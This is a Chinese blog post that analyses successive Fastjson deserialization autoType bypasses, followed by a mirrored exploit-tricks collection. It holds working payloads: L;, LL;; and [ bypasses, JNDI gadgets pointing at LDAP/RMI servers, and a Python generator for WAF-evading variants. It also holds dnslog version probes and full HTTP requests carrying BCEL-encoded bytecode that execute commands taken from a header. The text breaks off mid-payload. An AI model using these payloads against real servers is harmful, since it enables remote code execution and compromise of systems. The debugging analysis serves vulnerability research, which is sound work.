前言

最先出现问题的Fastjson 1.2.24反序列化漏洞已经分析过了，产生漏洞的原理也差不多理解了

• 在1.2.25之后的版本，以及所有的.sec01后缀版本中，autotype功能默认是受限的（黑白名单机制）

• 在1.2.68之后的版本，fastjson增加了safeMode的支持。配置safeMode后，无论白名单和黑名单，都不支持autoType

概念

可能出现一些新的概念，给一些参考链接吧

• FastJSON为什么要有autoType功能

• enable_autotype

• fastjson_safemode

演示代码

后面的分析代码都以此为基础修改

package org.example;

import com.alibaba.fastjson.JSON;

public class App {
    public static void main(String[] args) {
        String json = "{\"@type\":\"org.example.User\",\"age\":66,\"username\":\"test\"}";
        System.out.println(JSON.parseObject(json));
    }

}

class User {
    private String username;
    private int age;

    public void setUsername(String username) {
        this.username = username;
        System.out.println("call setUsername");
    }

    public String getUsername() {
        System.out.println("call getUsername");
        return username;
    }

    public void setAge(int age) {
        this.age = age;
        System.out.println("call setAge");
    }

    public int getAge() {
        return age;
    }
}

fastjson 1.2.24

之前已经分析过了，就不在写了

fastjson 1.2.41

利用的前提是必须要手动开启autoTypeSupport，不然还是不能利用，所以说还是有一点鸡肋吧

从代码中开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在1.2.25之后的版本，以及所有的.sec01后缀版本中，增加了checkAutotype函数，autotype功能默认是受限的（黑白名单机制）

但在1.2.25到1.2.41之间，发生过一次checkAutotype的绕过。

Payload如下

{"@type":"Lorg.example.User;","age":66,"username":"test"}

我们用这个payload来分析一下如何绕过的（fastjson 1.2.41）

进入checkAutoType后，首先会对typeName的长度进行判断，很明显这个条件满足不了，所以不会抛出异常

继续向下，开启autoTypeSupport时，会先通过黑白名单来判断，先白名单后黑名单

很明显我们传入的typeName Lorg.example.User;肯定是不在黑名单内的，这是一个绕过的点

继续向下，如果clazz==null，就会调用TypeUtils.getClassFromMapping(typeName);，跟一下其实就是从一个ConcurrentHashMap中看看存不存在这个类，很明显我们传入的L开头的类是不会存在的

继续向下，和上面类似，我们这个类还是找不到的，所以clazz还是null

没开启autoTypeSupport的情况下，依然会进行黑白名单检测，先黑名单后白名单，我们这里手动开启了所以这里不管，因为会跳过

前面黑名单检测都没问题，就会开始加载这个类了

跟进loadClass，如果第一个字符是[，就会去掉[再去解析，我们这里不满足就先不看，继续向下

这个条件就是这次绕过的核心条件了

else if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

如果开头是L而且结尾是;，那么就会给前后这俩字符去掉，所以可以看到我们的newClassName就是我们想要的org.example.User

后续就会加载我们的类实例化，达到我们绕过的目的

debug过程中，可能大家注意到一个点，loadClass函数中，有一个条件，如果第一个字符是[，就会去掉[再去实例化，那这个地方是不是也能用来绕过呢？

答案是当然可以，这个绕过点就体现在1.2.43版本中

fastjson 1.2.42

1.2.41问题出现后，1.2.42中尝试了修复，修复方式

• https://github.com/alibaba/fastjson/commit/e701faa2da7cff6d94394061bbff06a166c2aaaf

寻找历史commit技巧：

1. release里面找对应的版本的commit
2. 直接搜索commit
3. 直接搜索issue

可以明显的看到，给原来的denyList变成了denyHashCodes，让安全研究更难了，但是hashcode的方法是公开的，只要jar包够多还是可以碰撞出来的，感觉治标不治本。。。

同时可以看到针对漏洞绕过的修复方式，很简单粗暴，如果发现开头是L而且结尾是;，就直接去掉

所以绕过方式也很简单，直接用2个L和2个;就可以了，Payload如下

{"@type":"LLorg.example.User;;","age":66,"username":"test"}

fastjson 1.2.43

对LL;;可以绕过的情况做了过滤，如果只有一个L;，就去除了后再走黑名单去过滤看看是否允许反序列化，着实太恶心了看着

所以2个LL;;是行不通了，但是别忘了我们在分析1.2.41的时候，发现还会去掉[然后实例化，这就是绕过点

初始payload

{"@type":"[org.example.User","age":66,"username":"test"}

报错exepct '[', but ,, pos 29, json : {"@type":"[org.example.User","age":66,"username":"test"}，29那个位置，期望一个[，但是是,，所以我们加一个[

{"@type":"[org.example.User"[,"age":66,"username":"test"}

报错syntax error, expect {, actual string, pos 30, fastjson-version 1.2.43，期望30的位置是一个{，加上

最终POC

{"@type":"[org.example.User"[{,"age":66,"username":"test"}

看着有点迷，为啥加上[{就可以了？

分析一下，通过checkAutoType后，返回class [Lorg.example.User;

一直跟，发现调用了deserializer.deserialze，跟进去，发现使用了clazz.getComponentType()，是不是很眼熟？就是前面去掉[的那个地方

这个函数是native的，所以看不到代码。。。不过根据结果来看，就是去掉[L和;拿到类

再继续往下，跟进parseArray

发现如果token != 14就会抛出错误，而没有[的时候，token是16，所以会报错，{也类似，可以下个异常断点来分析

最后看下到setXXX的运行堆栈信息，结合堆栈来分析可以节约很多时间

setUsername:20, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:118, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1061, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:756, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseArray:729, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:183, ObjectArrayCodec (com.alibaba.fastjson.serializer)
parseObject:373, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1338, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1304, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:10, App (org.example)

fastjson 1.2.45

1.2.44中对[进行了判断，我们用1.2.43的POC，然后下个JSONException的异常断点，看看是怎么判断的

运行后，在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)成功拦截

分析一下，发现如果开头是[就直接抛出异常

那再看看1.2.41里面的绕法呢，前面加个L，后面加个;，发现会检查结尾是否为;，是的话也抛出异常

当然这个版本既然有RCE，肯定不是之前的方法绕过的，这次是通过不在黑名单里面的类来绕过的

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://x.x.x.x/Exp"}}

fastjson 1.2.47

这个版本绕过了autoTypeSupport检测，不开启ast依然可以利用（1.2.25 - 1.2.45 这些绕过都是需要开启ast的）

Payload：

{
    "a":
    {
        "@type": "java.lang.Class",
        "val": "org.example.User"
    },
    "b":
    {
        "@type": "org.example.User",
        "username": "123456",
        "age": 123
    }
}

绕过原理：

1. 利用到了java.lang.class，这个类不在黑名单，所以checkAutotype可以过
2. 这个java.lang.class类对应的deserializer为MiscCodec，deserialize时会取json串中的val值并load这个val对应的class，如果fastjson cache为true，就会缓存这个val对应的class到全局map中
3. 如果再次加载val名称的class，并且autotype没开启（因为开启了会先检测黑白名单，所以这个漏洞开启了反而不成功），下一步就是会尝试从全局map中获取这个class，如果获取到了，直接返回

debug分析：

在setXXX的地方下断点，运行看下调用堆栈信息

setUsername:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:124, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1078, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:20, App (org.example)

进入到parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)开始下断点重新运行分析

跟进，一直F8，识别到传入的参数a，继续向下，识别到后面还是{开头后，递归调用parseObject

继续往后识别到@type

然后就是进入checkAutoType检查，因为java.lang.Class在this.deserializers.buckets里面，所以直接返回了class java.lang.Class

通过了checkAutoType检查后，常规调用deserializer.deserialze进行反序列化，但这里是com.alibaba.fastjson.serializer.MiscCodec#deserialze

这里会取出我们的变量val的值，也是我们传入的恶意类

然后就是一系列的Class的判断，一直到Class.class，然后会进入loadClass

跟进loadClass，一直跟，发现在cache为true的时候，会直接给咱们的恶意类加入到mappings中，而这个mappings是不是看着很眼熟？后面分析

这个cache默认就是为true

然后开始处理字段b，和上面类似，我们一直到checkAutoType

可以看到此处如果开启了autoTypeSupport检查会进入黑名单检查，反而影响我们的payload

跟进下方的getClassFromMapping，可以看到就是上面我们添加恶意类的那个Mapping，从此绕过了checkAutoType检查

到此差不多就结束了，大佬就是大佬，太牛了

fastjson 1.2.62

1.2.47后肯定修复了，怎么修的呢？我们用1.2.62去试试1.2.47的POC

抛出了一场，然后下个异常断点，分析一下，看样子是前面某个地方设置了autoTypeSupport的值

咱们追踪一下这个变量，下个字段断点

发现来源是这

跟一下AUTO_SUPPORT，原来是从配置文件里面读是否开启了autoTypeSupport。。。大意了

那我们开启ast后再试试

结果就是java.lang.Class被加入到了黑名单

据说修复还将cache默认设置为false了，去TypeUtils类看看，发现确实如此

1.2.62的RCE也很简单，由于CVE-2020-8840的gadget绕过了fastjson的黑名单而导致的，当服务端存在收到漏洞影响的xbean-reflect依赖并且开启fastjson的autotype时，远程攻击者可以通过精心构造的请求包触发漏洞从而导致在服务端上造成远程命令执行的效果。

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://x.x.x.x/Exp"}

fastjson 1.2.66

和1.2.62类似，在开启AutoType的情况下，由于黑名单过滤不全而导致的绕过问题

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://x.x.x.x/Exp"}

fastjson 1.2.68

这个文档太大了太卡了，后面单独分析

fastjson黑名单

参考https://github.com/LeadroyaL/fastjson-blacklist

fastjson 在1.2.42开始，把原本明文的黑名单改成了哈希过的黑名单，防止安全研究者对其进行研究。在 https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd 这次commit中体现出来。

fastjson 在1.2.61开始，在https://github.com/alibaba/fastjson/commit/d1c0dff9a33d49e6e7b98a4063da01bbc9325a38中，把黑名单从十进制数变成了十六进制数，可能是为了防止安全研究者进行搜索

对照表

Payload转换

有些使用了存在漏洞的fastjson版本，但是有WAF在外面，所以抄了一个师傅的脚本

#!usr/bin/env python  
# -*- coding:utf-8 -*-
""" 
@author: longofo
@file: fastjson_fuzz.py 
@time: 2020/05/07 
"""
import json
from json import JSONDecodeError


class FastJsonPayload:
    def __init__(self, base_payload):
        try:
            json.loads(base_payload)
        except JSONDecodeError as ex:
            raise ex
        self.base_payload = base_payload

    def gen_common(self, payload, func):
        tmp_payload = json.loads(payload)
        dct_objs = [tmp_payload]

        while len(dct_objs) > 0:
            tmp_objs = []
            for dct_obj in dct_objs:
                for key in dct_obj:
                    if key == "@type":
                        dct_obj[key] = func(dct_obj[key])

                    if type(dct_obj[key]) == dict:
                        tmp_objs.append(dct_obj[key])
            dct_objs = tmp_objs
        return json.dumps(tmp_payload)

    # 对@type的value增加L开头，;结尾的payload
    def gen_payload1(self, payload: str):
        return self.gen_common(payload, lambda v: "L" + v + ";")

    # 对@type的value增加LL开头，;;结尾的payload
    def gen_payload2(self, payload: str):
        return self.gen_common(payload, lambda v: "LL" + v + ";;")

    # 对@type的value进行\u
    def gen_payload3(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\u{:04x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 对@type的value进行\x
    def gen_payload4(self, payload: str):
        return self.gen_common(payload,
                               lambda v: ''.join('\\x{:02x}'.format(c) for c in v.encode())).replace("\\\\", "\\")

    # 生成cache绕过payload
    def gen_payload5(self, payload: str):
        cache_payload = {
            "rand1": {
                "@type": "java.lang.Class",
                "val": "com.sun.rowset.JdbcRowSetImpl"
            }
        }
        cache_payload["rand2"] = json.loads(payload)
        return json.dumps(cache_payload)

    def gen(self):
        payloads = []

        payload1 = self.gen_payload1(self.base_payload)
        yield payload1

        payload2 = self.gen_payload2(self.base_payload)
        yield payload2

        payload3 = self.gen_payload3(self.base_payload)
        yield payload3

        payload4 = self.gen_payload4(self.base_payload)
        yield payload4

        payload5 = self.gen_payload5(self.base_payload)
        yield payload5

        payloads.append(payload1)
        payloads.append(payload2)
        payloads.append(payload5)

        for payload in payloads:
            yield self.gen_payload3(payload)
            yield self.gen_payload4(payload)


if __name__ == '__main__':
    fjp = FastJsonPayload('''{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}''')

    for payload in fjp.gen():
        print(payload)
        print()

Fastjson姿势技巧集合

https://github.com/safe6Sec/Fastjson

做个备份，怕删了

# Fastjson
Fastjson姿势技巧集合

## 说明
2021.8.10 小弟水平有限，1.2.48之后高版本漏洞成因还未进行研究探索，很多利用细节和注意事项都不够完整，待我有空慢慢补充。


## 探测

用来探测目标版本，才能更好确定使用的payload。还可以用来区分fastjson和Jackjson。   
fastjson探测版本，还可以用错误格式的json发过去。如果对方异常未处理可报出详细版本。   

主要是利用各个类被加入黑名单的方式进行判断

fastjson >1.2.43

```java
{"@type":"java.net.URL","val":"dnslog"}
```

fastjson >1.2.48

```java
{"@type":"java.net.InetAddress","val":"dnslog"}
```

fastjson >1.2.68

```java
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
```



## 各版本利用

除了考虑Fastjson版本，还得考虑JDK版本，中间件版本，第三方依赖版本。



JDK版本对于JDNI注入的限制，基于RMI利用的JDK版本<=6u141、7u131、8u121，基于LDAP利用的JDK版本<=6u211、7u201、8u191。（更高版本也有绕过）  
更高版本绕过可用https://github.com/veracode-research/rogue-jndi



1. jndi
   1. JdbcRowSetImpl
   2. C3p0#JndiRefForwardingDataSource
   3. JndiDataSourceFactory
2. bcel
   1. tomcat#dbcp
   2. ibatis
3. TemplatesImpl

----



### Fastjson 1.2.22-1.2.24



#### JdbcRowSetImpl

```java
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
```



#### c3p0#JndiRefForwardingDataSource

JdbcRowSetImpl无法成功可以一试

```java
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
```



#### bcel

可用于解决不出网利用。
需要注意在Java 8u251以后，bcel类被删除。

tomcat7

org.apache.tomcat.dbcp.dbcp.BasicDataSource

tomcat8及其以后

org.apache.tomcat.dbcp.dbcp2.BasicDataSource



Poc

```java
{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}
```



exp

执行命令回显.

```java
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3327

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
        }
    }: "x"
}
```

```java

POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: ver && echo fastjson
Content-Length: 3327

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$95W$Jx$Ug$Z$7e$t$bb$9b$99L$s$90$y$y$n$Jm9K$Sr$ARZ$S$K$84$40$m$92$84$98$NP$O$95$c9dH$W6$3bav$96$40$ab$b6JZ$5b$LZ$Lj9$d4$Kj$3c$f0$m$d1$r$82E$bc$82$d6$fb$3e$aax$l$f5$be$8b$8fJ$7d$ff$99$Nn$c8$96$3c$3e$cf$ce$7f$7e$ffw$be$df$f7$ff$fb$f4$b5$f3$X$B$y$c1U$V$c5x$m$H$ab$f1j$d1$bcF$c6A$V$7eo$a5_4$P$wxH$c5k$f1$b0$98$3c$a2$e0u$a2$7fT$c6$n$Vy8$ac$e2$f5x$83$ca$95$c7$c4$a97$8a$e6q1$3d$o$d8$kUQ$887$vx$b3$8c$b7$c8xB$cc$8e$c98$ae$a0I$c5$J$9c$U$8c$de$aa$a0C$c6$dbd$bc$5d$c5L$i$96$f1$a4$8a$d9$a2$7f$87$8a$b98$ac$e0$94$8a$d3x$a7$8a$e9x$97$82w$8b$7e$40$c1$7b$U$bcW$c1$fbd$bc_$c6$Z$V$l$c0$HE$f3$n$V$l$c6Y$V$d5$YT0$q$fa$8f$88$e6$a3$w$aa$90$U$cd9$d1$M$L5$3e$a6$e2$3c$$$88$e6$e3b$fa$94P$f9$a2$8cO$88$c9$ra$d3$te$7cJ$82$d4$zaJ$d3n$7d$9f$5e$9dp$o$d1$ea$f5z$bc$3bl$3a$b5$Sr$c2$91$ae$98$ee$qlS$c2$fc$f1$U$cb$bd$a5$a8$k$eb$aa$de$d8$b1$db4$9c$da$V$3c$95eD$r$U$a6$ed$d5G$f5x$bc$c9$d2$3bM$9b$db$be$ee$b8$z$a1$e0$c6$7do$a7$97$ad$d1$d3$v$n$98$b6$lv$ecH$ac$8b$E$92$3dv$p$r$94$h$3c$97$bd$3c$S$8b8$x$c8$a0$b4l$b3$E$7f$bd$d5I$b5$t7EbfK$a2$a7$c3$b4$db$f5$8e$a8$v$YX$86$k$dd$ac$db$R1O$zJ$fcf$df$a8R$8b$e54X$89X$e7$da$fd$86$d9$ebD$ac$Y$r$f9$9d$eeH$5c$c2$9c$a6x$a2$a7$c7$b4$e3$a6Qm$g$ddVu$bd$Vsl$x$g5$ed$ea$baht$z$97H$9c$XvtcO$b3$de$ebJ$a1$b3$J$u$ca$8aH$I$95$8e7$a3l$hu$b7$3avK$c8o6$9dn$ab$b3U$b7$f5$k$d3$a1$U$J$d32$ih$Uv$e6v$99N$9b$Z$ef$b5bq$daP$9cFe$9b$bb$a2$q$ab$f6$98Q$9dP$daf$baM$e9$867$d2$84$$$3dZg$Yf$3c$9eNT$99$81scl$l$7d$v$I$dau$9bz$a4$d3$cfJ$a3o$b1$c2$J$a3$db$d3$p$9d$s$d7$e8$d6$e9B$a7$85f$S7$bd$7d$d7u$8cX$d5$ad$M$ba$b3$c5$8e8$$j$qKB$a0$93$t$JV$a9$d1K$s$e6$RS$889$c7$a5$G$7e$7b$e9$f1N$d3$88$ea$b6$d9$d9$Q1$a3$84QQ$G$ad$dd$z$b2$M$c4$j$ddvx$$$e6f$ee$a7e$7c$86y$xAYnDSPR$c3V$c26$cc$86$88$c0$88$96$Kl$95$60$a9$e1$rh$d3$d0$82$8d$gZ$b1$91$80$k$97$k$g$ea$b1F$c3$3a$ac$970O$ec$ee$af$8a$9b$f6$be$a8$e9Tu$3bNo$d5z6ao$a1$cd$dc$9b0$e3$8e$8c$cfj$Y$c1e$N$8dx$b1$84$db$t$3a$e4E$5d$c3$GA$3ds$o$f4j$f8$i$dad$7c$5e$c3$d3$f8$82$868h$c4$X$f12$N_$S$cdKE$f3e$7cE$c3W$f15$a6$3e$c3$b9$de$U$v$cb$i$ba$813$Bzcrj$f8$3a$be1f$dd$c3$a8$8coj$f8$W$be$ad$a1$J$cd$y3$Z$A8F$f3$cc$f0$93$b0$e0$ff$A$9f$84$db$s$80$9e$E$d9$8aW$c5$88$3a$Z$df$d1$f0$5d$7cO$c3$f7$f1$MkH_$q$d6i$f5$J$bf$fc$80$c9$b8n$f5$G$c2dS$7bC$e5$5d$9eG$3c8$8e$da1$W$a4c$m$Q6$f4X$cc$b4e$fcP$c3$V$fcH$c3$8f$f1$T$Z$3f$d5$f03$fc$5c$40$e7$X$84$fb$8e$3a$N$bf$c4$af4$fc$g$cfhx$W$bf$d1$f0$5b$81$a9$df$89$e6$f7$f8$D$f1$a8$e1$8f$f8$93$86$3f$e3$_$g$fe$8a$bf$J$a8$e9$94$be$7d$7c$z$d0$f0w$R$bb$7f$e09$a6$de$84$b5$89$85b$fbM2$a3$f0$F$b6$98$9e$Z$ab$3a$9d$T$e5$m$F$8ey$a5$e3kwY$86r$3f$b9W8$cf$z$91$ed$b6n$98c$e0$d3$dem$T$7dLh$pa$dbf$cc$Z$9dO$zMg$e5$ad$92$97b$d0F$3d$S$a3x$9f$deI$3a$85$d1J$e93$a54$93$f4$fcH$bc$$$k$X$f7$hKs$83m$f5$I$de$e3$e8DM$W$81$f7$A$qaU$G$db$b6$8f$3fu$b3$w$3c$fd$85$f6$I$bf$I1$bd$87$8eX$96$a1$dag$IzY$a6$bb0$3d7$P$c4$j$b3$c7$bb$pZm$ab$d7$b4$9d$D$y$x$T$c4$e7$fau$9b$ebXMV$9fi$d7$eb$e2j$Z$eb$f9$ebD$rc$9c$c6z$k$W$b5$yf$98$ae$ef$K$fe$b7$d7$96$889$RQ$e7Uqc$8dNBc$b8$a6$96$c5$3dk$ee7$N$be$3a$s$d0$95V$89JQ$3bFRjQ$c2$qJj$8c$f5$s$I2$e2$84$8e$u$i$95$c6$d4M$db$e0$f1$f2$d2$8c$h$Z$a4$f3$ce$d5$Sqs$8d$Z$8d$f4xy$7f$T$r$d3$8b$81$b0$wf$ee$e7$8d$p$bb$c8$8f$c6nx$H$a4I$I$ec$8a$s$e2$bc$ea$CF$d4$S$ce$_$a0$rk$d2$af6Z7$a3$b4$ecfI$9c$c7$8b$d5$ab$a3$R$f7$89$e3$_$dd$s8$fb$c8$e9$G$M$dc$MM2$d3$c4$b6$f5$D$ee$b3$8a$B$cd$e3$f1p$82H2$bc$e4$K$89$3cc$ee$d1$ae1$F$a1h$7c$d2$a5$5e$80$98$c5gh1$9f$e52$UqCB$c2Z$ce$b2$d0$c09$_K$8e$Vq$ff$b9$fd$86T$cf$db$c3$edy$df$ba$7d$ab$db$Hx$96$d70$db0gI$f2$c8b$bf$bc$fc$i$qi$IY$fc$7c$X$e0$dfz$O$81$nd$PB$O$wI$e4$MA$V$c3$5cw$a8$N$40iZ$90$c4$a4aL$f6$N$p$ff$yyMC$F$l$d4y$f0$a1$9d$dc$aa$90$cbv2$9f$fc$F$94$h$84$86$v$a4$I$d1$KAWD$caB$y$e4$83$7d$JJP$8b$Z$d8D$eai$d4c$nOl$c6$W$f2$a3F$b8$H$5b$d9o$e3$97$8f$ac$e7yH$92$b1$5d4$3b$fcP$c5$dd$cb$Ta$97$o$cb$3dQ$5c$3e$82$bcAd$97$tQp$M$B$ff$Zo$i$dc$e2$3b$c3$5dO$b3$m$r$A$b